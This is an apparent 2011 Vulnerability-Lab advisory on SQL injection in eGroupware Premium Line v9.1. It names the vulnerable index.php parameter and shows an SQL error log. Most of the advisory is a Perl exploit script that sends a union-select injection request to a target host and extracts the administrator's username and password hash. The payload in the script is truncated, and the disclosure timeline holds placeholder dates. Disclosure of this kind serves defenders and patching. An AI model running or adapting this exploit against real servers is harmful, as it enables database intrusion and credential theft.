Document Title:
===============
eGroupware Premium Line v9.1 - SQL Injection Vulnerability



Release Date:
=============
2011-07-17


Vulnerability Laboratory ID (VL-ID):
====================================
81


Product & Service Introduction:
===============================
EPL is the professional choice to install EGroupware to your own server. The EGroupware Premium Line contains Stylite actual 
EGroupware enhancements, a software maintenance agreement and highly attractive hourly rates for further support services.

    * Install EGroupware in one single step with all needed components e.g. data base, PHP and web server by using EPL s ready-to-go RPM and Debian repositories.
    * Get automatic software updates, including bug-fixes and security releases.
    * Enjoy brand new Stylite features, which are not available publicly in the community edition of EGroupware.
    * EPL individual installation packages

	Task Management: InfoLog
	Team Calendar
	Content Management
	E-Mail
	Tracking-System
	File-Manager
	Project-Management
	Wiki
	Knowledge Management
	Time-Sheet
	News, Pools  ....


(Copy of the Vendor Homepage: http://www.stylite.de/egroupware_functions)


Abstract Advisory Information:
==============================
Vulnerability-Lab Team discovered a SQL-Injection Vulnerability on the eGroupware Premium Line.


Vulnerability Disclosure Timeline:
==================================
2011-00-00:	Vendor Notification
2011-00-00:	Vendor Response/Feedback
2011-00-00:	Vendor Fix/Patch
2011-00-00:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple SQL vulnerabilities are detected in EPL. The vulnerability allows an attacker to inject own sql statements on the 
vulnerable application database.

Vulnerable Module:

			Path:	../epl/
			File:	index.php
			Para:	?menuaction=phpgwapi.uiaccountsel.popup&app=calendar&use=both&group_id=

--- Error Logs --- 
Invalid SQL: SELECT egw_addressbook.contact_id,n_given,n_family,contact_email,contact_id,contact_created,contact_modified,
egw_accounts.account_id AS account_id,account_lid,account_type,account_status FROM egw_addressbook  RIGHT JOIN egw_accounts ON egw_accounts.
account_id=egw_addressbook.account_id WHERE contact_private=0 AND egw_addressbook.contact_owner=0 AND (account_lid LIKE h% OR n_family 
LIKE  h%  OR n_given LIKE  h%  OR contact_email LIKE  h% ) ORDER BY  ASC: You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near  ASC  at line 1


Pictures:
		                    ../sql1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote attackers. For demonstration or reproduce ...

#!/usr/bin/perl

use IO::Socket;
if(@ARGV < 1){
print "
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
>  Remote SQL-Injection Exploit
>  =-=-=-=-=-=-=-=-=-=-=-=-=-=-
>  APPLICATION: http://www.stylite.de/EPL
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
";
exit();
}
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "index.php?menuaction=phpgwapi.uiaccountsel.popup&app=calendar&use=both&group_id=-22084&element_id=eT_accountsel_exec_participants_account_&multiple=1&query_type=start&query=h&sort=ASC&order=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "[+] Exploit Failed\n";
exit();
}

if ($dir =~ /\//){}
else {
print "[+] Exploit Failed\n";
exit();
 }

print "User <ID>    : ";
$ID = <STDIN>;
chop ($ID);

if ($ID =~ /exit/){
print "[+] Exploit Failed\n";
exit();
}

$len=length($ID);

if ($len == 1){}
else {
print "[+] Exploit Failed\n";
exit();
 }

$target = "-1+union+select+1,2,3,4,.........   ".$ID;
$target = $host.$dir.$file.$target;

print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
print "[+] Verbinden zu ... [> : $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "[+] Verbindungsaufbau fehlgeschlagen...!\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+] Connected!...\n";
while($answer = <$socket>) {
if ($answer =~ /color=\"#FF0000\">(.*?)<\/font>/){
print "[+] Exploiting the System! Grab Admin-HASH\n";
print "[+] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n";
print "[+] Clear Username: $1\n";
}

if ($answer =~ /<font size=\"4\"><b>(.*?)<br>/){
print "[+] Encrypted Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "[+] SYNTAX ERROR! Request: rm@global-evolution.info";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "[+] INTERNEL ERROR! Check out your Ressources";
exit(); 
}
break;
}
close($sock);


Security Risk:
==============
The security risk of the sql vulnerability is estimated as high.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com   	- www.vuln-lab.com			       - www.vulnerability-lab.com/register
Contact:    admin@vulnerability-lab.com 	- support@vulnerability-lab.com 	       - research@vulnerability-lab.com
Section:    video.vulnerability-lab.com 	- forum.vulnerability-lab.com 		       - news.vulnerability-lab.com
Social:	    twitter.com/#!/vuln_lab 		- facebook.com/VulnerabilityLab 	       - youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php	- vulnerability-lab.com/rss/rss_upcoming.php   - vulnerability-lab.com/rss/rss_news.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other 
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and 
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), 
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.

    				   	Copyright © 2012 | Vulnerability Laboratory